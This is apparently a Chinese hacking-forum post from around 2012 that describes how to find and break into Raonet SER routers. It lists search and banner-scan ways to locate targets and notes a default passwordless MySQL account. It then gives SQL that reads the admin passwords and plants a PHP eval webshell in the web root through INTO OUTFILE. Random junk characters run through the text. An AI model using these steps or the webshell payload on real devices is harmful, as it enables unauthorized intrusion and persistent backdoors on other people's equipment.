寻找存在漏洞的路由器方法：
* _0 B7 d& j2 Z; z' Q% U+ O
( i" f. {7 \ {, o1：google搜索'Raonet Subscriber Ethernet Router'
3 R1 X1 K* }2 s2 |: X$ H
) R4 f. e: f5 z2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
& O$ O& [( e; K# U B3 U# R; R, t
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。. {3 g+ a3 k6 P" j: Y
: }/ T4 s) m( g) }( D+ j1 n//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
m ?1 a/ Q) s+ W/ u8 U! ]/ i2 _4 k- L9 V. M1 B
]* Y/ J- B5 L m$ O0 F# ]
' W- q8 g6 U8 x9 A9 H; T% x入侵步骤：
% W0 m% A: J. T+ g2 j4 s: z# j% D8 W7 U0 O: w( {. l# c
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
/ f4 |/ |$ u: c6 f1 E+ o% |0 R9 Q& l2 D! M8 o" Z4 ?% p* y" ]' l
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc1 k7 @/ a9 q- H) K5 ~& R1 o
3：得到密码后连接，查看GUI管理密码：
8 Z8 i* f0 G% G. P' Y, Ruse ser_500, x$ U) M U( ^5 N
select id,passwd from user;
1 K0 h6 S8 v! e b! q- j+ l4:通过数据库写入webshell，执行命令：
& H/ Y" f8 c, {5 l2 ~4 c7 s- euse mysql;
: S% O! R. c$ y2 l6 h/ y: `create table ok(cmd TEXT);+ \5 G. Y0 F) @0 \ r) K6 j4 `" {
insert into ok values("<?php @eval($_POST[cmd])?>"); H! f* Q9 J D; I5 \# T n8 v
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";9 ^0 w4 c+ h# j
drop table ok;* x% }' L/ v; o; L
" |% A: h( `) D/ ~9 g5:连接后门shell.php
1 ]' L- r8 A F$ _! p5 ]7 s* b N
6. 搞定！; s- s7 L5 u" w5 V& `4 k
( N6 Q$ ^( i* X6 Q/ w* c8 E |
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50